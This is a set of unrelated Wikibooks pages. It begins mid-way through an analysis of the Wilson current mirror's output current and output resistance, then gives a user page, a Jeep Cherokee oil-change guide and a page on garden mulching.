Given that IC=βIB (Condition 2 and basic BJT equations), we have that

 * $$I_{E3}=I_{C}+2\frac{I_{C}}{\beta}=I_{C} \left( 1 + \frac{2}{\beta} \right)=I_{C} \left( \frac{2+\beta}{\beta} \right)$$

Substituting for IE3 from equation W4,

 * $$I_{O} \left( \frac{\beta+1} {\beta} \right)=I_{C} \left( \frac{2+\beta}{\beta} \right)$$

Rearranging to make IC the subject, we have

 * $$I_C=I_{O} \left( \frac{\beta+1}{\beta+2} \right)$$

Now, let's consider the reference current, IREF. By KCL, and then substituting from W2,

 * $$I_{REF}=I_{C1} + I_{B3} =I_{C} + I_{B3} \,$$

From W3 and W9, we now have:

 * $$I_{REF}=I_{O} \left( \frac{\beta+1}{\beta+2} \right) + \frac{I_{O}} {\beta}= I_{O} \left( \frac{\beta+1}{\beta+2} +\frac{1}{\beta} \right)\,$$

Rearranging,

 * $$I_O=\frac{I_{REF}}{ \left( \frac{\beta+1}{\beta+2} +\frac{1}{\beta} \right)}$$

Finally, simplifying by simple fractional addition and factorisation, we have:

 * $$I_O=\frac{I_{REF}}{1+ \frac{2}{\beta\left(\beta+2\right)}}$$

It is clear that if β is large, then β(β+2) is large, the denominator in the above expression approaches unity, and the output current, IO approaches the reference current IREF:

 * $$\lim \limits_{\beta \to \infty } \left( {I_O } \right) = I_{REF}$$

However, due to the quadratic term, a very good approximation is achieved for much lower values of β than the simple current mirror. For example, transistors with a very modest β of 50 can theoretically expect a current deviation of about 0.75 μA. For a β of 150, this drops to 87 nA.

It should be noted that the Wilson Current Mirror is not a constant-current source. If the supply voltage, VCC changes, the output current will change. Suppose that the reference current, IREF, is supplied by a resistor to the supply voltage. Suppose the vBE of all the transistors is 0.7 V. Now, the voltage at the bases of Q1 and Q2 is therefore 0.7 V, as the emitters are at ground. The base of Q3 is therefore at (0.7+0.7)=1.4 V. This means that the reference current is given by:

 * $$I_{REF}=\frac{V_{CC}-1.4}{R_{REF}}$$

Thus, the output current will also be dependent on the supply voltage. A constant current source as the reference current will ensure a constant output current.

Output Resistance
Lets consider the small-signal model on the right. The transistors have been replaced by the small-signal T-model, which has then been drawn as a large-signal BJT, with the small-signal output resistances, ro in parallel. More on this can be found here. The output resistors in Q1 and Q2 are present in this model, but they are greyed out as they do not play a part in the analysis. The reference current is deactivated in the small signal model, meaning that the base of Q3 is simply connected to the collector of Q1.

We will find the output resistance of the current mirror, Ro by applying a voltage, vx to the output and finding the relationship between this and the current that flows in the output, ix. Firstly, notice that the base current flows out of the base of Q3, and that the collector and emitter currents in Q3 are therefore reversed (these are in the large-signal BJT only and are NOT the same as iC3 and iE3, although iB3 is the same in both). This is just to remove negatives from the analysis. If they are not reversed, the analysis will still give the same result.

Firstly, recall that Q1 and Q2 are matched, so the collector currents are the same, as are the base currents. Let us call the collector currents in these simply i. Also the collector current of Q1 is equal to the (outward) base current of Q3. This leads to the following expressions:

 * $$i_{C1}=i_{C2}=i_{B3}=i \,$$

From the common-emitter equations, we also know the base currents:

 * $$i_{B1}=i_{B2}=\frac{i}{\beta}$$

From the common-emitter equations, we can also state the current in the collector and emitter of the large signal BJT in Q3. These are shown on the diagram. From KCL, we can also show that at the collector-base connection of Q2,

 * $$i_{E3}=i_{B1}+i_{B2}+i_{C2}=\frac{2i}{\beta}+i$$
 * $$i_{E3}=i \left(1+\frac{2}{\beta} \right)$$

The base-emitter voltage of Q1 or Q2, vbe1 is given by the (large signal) current in the emitter multiplied by the large-signal base-emitter resistor, which is usually denoted re in the T-model:

 * $$v_{be1}=\left( \beta + 1 \right)\frac{i}{\beta} r_e=i\left( \frac{\beta + 1}{\beta} \right)r_e$$

KCL at the Q3 large-signal collector/output resistor junction (paying close attention to the directions of the currents) shows that the current in the output resistor of Q3, iro3 is given by:

 * $$i_{ro3}=i \left(1+\frac{2}{\beta} \right)+i \left(\beta +1 \right)$$
 * $$i_{ro3}=i \left(\beta + 2 +\frac{2}{\beta}\right)$$

By Ohm's Law, we can now work out the voltage across the output resistor:

 * $$v_{ro3}=i \left(\beta + 2 +\frac{2}{\beta}\right)r_{o}$$

Therefore, the voltage vx, is given by the sum of this voltage and the base-emitter voltage of Q1 or Q2:

 * $$v_x=i\left( \frac{\beta + 1}{\beta} \right)r_e+i \left(\beta + 2 +\frac{2}{\beta}\right)r_{o}$$

The current ix can be found using KCL at the top of the output resistor of Q3:

 * $$i_x=i_{ro3}-\beta i=i \left( 2 + \frac{2}{\beta}\right)$$

The output resistance, Ro is defined as follows:

 * $$R_o=\frac{v_x}{i_x}$$

Which, after cancelling the factors of i, leads to the somewhat untidy equation:

 * $$R_o=\frac{\left( \frac{\beta + 1}{\beta} \right)r_e+ \left(\beta + 2 +\frac{2}{\beta}\right)r_{o}}{2 + \frac{2}{\beta}}$$

Now, re is given by the equation $$r_e=\frac{\beta}{\beta+1}\frac{1}{g_m}$$. See the T-model pages for more detail on this. Notice that the two fraction involving β cancel out, leaving just $$\frac{1}{g_m}$$. Since gm is usually on the order of 20mS, this term is about 50Ω. Considering that this is going to be added to a term involving β's (in the region of 100) multiplied by ro (on the order of 50kΩ), this term is insignificant. We can now write, to a very good approximation,

 * $$R_o\approx\frac{ \left(\beta + 2 +\frac{2}{\beta}\right)r_{o}}{2 + \frac{2}{\beta}}$$

Let's multiply top and bottom by β to emphasise the next point:

 * $$R_o \approx\frac{ \left(\beta^2 + 2\beta +2\right)r_{o}}{2\beta + 2}$$

Now, we can say that both the "2" terms are insignificant compared to terms involving β when β is large. We can also say that the 2β term on the top of the fraction is insignificant compared to β2. We will see in moment, that although this may seem like a gross approximation, it is in fact more than accurate enough for practical purposes. Removing these terms and dividing by β top and bottom, our equation is now simply

 * $$R_o \approx\frac{ \beta r_{o}}{2}$$

For a β of 100, an ro of 50kΩ and an re of 50Ω, the value calculated using the full equation is 2.53MΩ, while the approximation gives 2.5MΩ. So, we can see that the approximation is well worth the massive simplification in the equation, especially as the practical value will very likely vary by more than this discrepancy anyway. This also shows the enormous output impedance of a Wilson current mirror, even for modest values of β.


text:
User:Hirak 99

=About the user= For a better intro on this user, please see his Wikipedia user page.

=Wikibook links=

All about wikibook

 * Wikibook primer for a Wikipedian
 * Wikibook policies and guidelines
 * All about Bookshelves

Possible areas for contribution

 * Statistics - Point estimates section needs improvement.

Wikibooks that the user gained knowledge from

 * General_relativity - Nice section on Tensors.

title: User:Hirak 99


text:
Jeep Cherokee/Oil Change

Run the engine first to heat the oil. Doing so makes it run more freely.

Use a 9/16 wrench to remove the oil drain cap from the Jeep's sump. Be careful as the oil will be hot from running the engine. Do not get any used engine oil onto hands or skin. It is highly carcinogenic. Allow the oil to fully drip out, collecting it in a suitable oil pan or container.

Once all the oil has drained out, remove the oil filter. It is positioned right below the oil dip stick. When installing a new oil filter, put some new engine oil on and around the rubber seal. Replace oil drain cap.

Fill the engine back up with 6 U.S. quarts of SAE 10w30 motor oil. In colder climates, 5w30 may be used. Be careful not to overfill by checking the level on the dipstick. Once the correct level is reached, replace the oil filler cap and run the engine for about 30 seconds to let the oil circulate around the engine and into the new filter. Check the level now and top up if necessary.

API SL or ACEA A3 rated oil should be used. API SM and SN oil does not provide the wear protection required by the flat tappets in the AMC 242 engine.

title: Jeep Cherokee/Oil Change


text:
Horticulture/Mulching

Mulching is a common practice in garden maintenance involving the covering of exposed soil with a loose material to provide weed control, moisture retention, and temperature regulation. Most often the mulch material is also organic matter which also helps raise the nutrient content of the soil, but in some cases stone or even synthetic mulches are used to provide longer-term cover. Organic matter is sometimes also raked over lawns, which is referred to as "top-dressing". In some situations, mulches are also added on top of a soil barrier, in order to smother weeds or stabilize soil.

Mulches can be applied at any time of year. They come in a variety of colors such as red, brown, and black. In most gardens, it is only applied once in the springtime as part of the spring cleanup process, but in intensive vegetable gardens and many organic gardens, it is applied more than once. Whenever they are applied, it is always after a garden has been well-weeded and edged.

When applying mulch, it's best to start applying at the back of the garden, or in the middle in the case of "island" beds, in order to avoid walking on or rolling wheelbarrows over the mulch that's already been applied.

In gardens with large open spaces between plants, the simplest method is to simply dump the wheelbarrows or bags on the soil, then spread with a rake. In densely planted gardens, it is best to mulch by hand.

The depth of the mulch depends on the type of mulch used: for wood mulches (the most common type in most areas due to price and availability), the mulch is generally laid 1.5" to 2" thick.

Mulches should never be thrown on top of plant crowns, as this creates conditions conducive to rot. The mulch should be kept about 2" from any plant crown or tree trunk (it should never be piled up in "volcanoes" against the trunk of a tree).

/Techniques

title: Horticulture/Mulching